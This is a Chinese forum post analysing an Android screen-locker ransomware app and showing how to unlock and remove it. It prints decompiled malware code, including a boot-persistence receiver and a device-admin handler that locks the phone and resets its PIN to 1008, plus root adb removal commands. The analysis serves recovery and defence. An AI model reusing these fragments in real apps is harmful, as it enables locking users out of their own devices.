LockScreen_this.randomNumber = ((long)(Math.random() * (((double)100000000)))); // 先生成随机数randomNumber
LockScreen_this.passw = new Long(LockScreen_this.randomNumber + (((long)111))); // randomNumber加上111
LockScreen_this.du = new DU("flower"); // 初始化一个du对象
LockScreen LockScreen_this = LockScreen_this;
try {
LockScreen_this.du = new DU(LockScreen_this.du.decrypt("c29fe56fa59ab0db"));
}
catch(Exception exception0) {
}
LockScreen_this.sharedpreferences = LockScreen_this.getSharedPreferences("Flowers", 0);
LockScreen_this.editor = LockScreen_this.sharedpreferences.edit();
if(LockScreen_this.sharedpreferences.getLong("m", ((long)0)) == (((long)0))) {
LockScreen_this.editor.putLong("m", LockScreen_this.randomNumber);
LockScreen_this.editor.commit();
LockScreen_this = LockScreen_this;
try {
LockScreen_this.editor.putString("passw", LockScreen_this.du.encrypt(new StringBuffer()
.append("").append(LockScreen_this.passw).toString()));
LockScreen_this.editor.commit();
}
catch(Exception exception0) {
}
if(LockScreen_this.is(LockScreen_this.getApplicationContext())) {
LockScreen_this.ppss = new StringBuffer().append(LockScreen_this.sharedpreferences.getLong(
"m", ((long)8))).append("").toString();
LockScreen_this = LockScreen_this;
LockScreen LockScreen_this = LockScreen_this;
try {
LockScreen_this.password = LockScreen_this.du.decrypt(LockScreen_this.sharedpreferences
.getString("passw", ""));
}
catch(Exception exception0) {
}
new myThread(LockScreen_this).start();
return;
}
LockScreen_this = LockScreen_this;
try {
LockScreen_this.editor.putLong("m", Long.parseLong(LockScreen_this.du.decrypt("5a15e58cc8db8d1c700ecb6bb7b627a9")));
LockScreen_this.editor.commit();
LockScreen_this.editor.putString("passw", "c8c0ae88e6d1aeb8a2bcb7274e242414");
LockScreen_this.editor.commit();
}
catch(Exception exception0) {
}
}
}
@Override public void onStart(Intent intent, int arg9) {
super.onStart(intent, arg9);
this.c();
}
} 代码看起来很复杂,也很多,一堆加密解密的,但是不管它如何加密,所有代码都是本地执行的,都是可以恢复出来的
一步步来分析如何锁屏,以及如何解锁
Server的生命周期以前的有说过,第一次启动会执行onCreate(),然后执行onStartCommand(),以后的启动只会执行onStartCommand()
所以来看onCreate()
会先random出一个随机数,然后加111,后面就是各种加密了
至于为什么会知道这是随机数和解锁密码,后面继续看
onCreate()方法执行完后会onStartCommand()方法
这个方法就执行了一个c方法,这个方法主要是用于显示,刚刚我们那个解锁序列号就是在这里进行读取然后显示的
这样就知道了解锁序列号在sharedpreferences里的键是“m”
既然有输入框,那么必然有button的Listener方法,这个思维学开发的比较容易想到
这里就是进行解锁密码校验的地方,sharedpreferences文件里passw的键值就是加密后的解锁密码
讲到这里,肯定有同学会疑惑,为什么那么多加密解密的代码不分析?
是这样的,作者的思路是:首先random一个随机数randomNumber当序列号,加密后在sharedpreferences里的键为m,然后将randomNumber加上111,加密后在sharedpreferences里的键为passw,但是在存储的时候,这两个键值是加密的,看着很难办对吧?
脑残就脑残在,最终还不是要解密进行对比
所以那些加密解密什么的都是摆设
现在解锁方法已经知道了,来解锁吧
解锁密码是序列号加111,成功解开,进入桌面,发现桌面有两个图标,右边那个就是锁机apk了
哎我说这位同学,你怎么能骂人呢? 锁机不成仁义在啊!!!!!!
卸载掉左边那个apk,然后点击右边那个apk看看,出现激活
这个地方需要补充解释一下,刚才我们卡住了,所以强行关闭重启,作者的想法也是重启
因为有开机自启动的Receiver,这个Receiver直接启动了com.h.s,所以直接出现了锁机界面,而不是依照MainActivity里面弹出激活界面 [Java] 纯文本查看 复制代码 package com.h;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class BootReceiver extends BroadcastReceiver {
public BootReceiver() {
super();
}
@Override public void onReceive(Context context, Intent intent) {
Class class0;
if(intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {
this.abortBroadcast();
try {
class0 = Class.forName("com.h.s");
}
catch(ClassNotFoundException classNotFoundException0) {
throw new NoClassDefFoundError(((Throwable)classNotFoundException0).getMessage());
}
Intent intent = new Intent(context, class0);
intent.addFlags(268435456);
context.startService(intent);
}
}
} 继续来看这里,我们点击激活后,又会出现锁屏界面,锁屏界面的密码是解锁序列号加111,并且设置手机自带锁屏密码为1008
当我们取消激活的时候,也会把锁屏密码改为1008 [Java] 纯文本查看 复制代码 @Override
public CharSequence onDisableRequested(Context context, Intent intent) {
String string = Integer.toString(1008);
this.getManager(context).lockNow();
this.getManager(context).resetPassword(string, 0);
return super.onDisableRequested(context, intent);
} 取消激活直接锁屏,密码是1008
然后就是清除这个app,因为释放进了system/app,不能直接卸载 上adb [Shell] 纯文本查看 复制代码 root@android:/system/app # mount -o rw,remount yaffs2 /system
root@android:/system/app # rm zihao.apk
所以,谁是傻逼???
锁机这东西,很大部分都是比较弱的,牛逼的锁机能用来锁你??? 对吧,而且现在的加固厂商一般都会检测恶意代码的,所以有很多的锁机样本都像这个,假装某加固的so文件 还有,很多人用的都是别人的锁机源码,这些源码随便搜都能找到,多学习这些源码,以后分析万一就碰上了呢? 以后要是被锁机了,找找教程,跟着分析,分析出来了可以写篇教程或者心得分享嘛,我给你加热心啊!!!!!! 最后,不要给来路不明的apk设备管理器的权限!!!!!!
|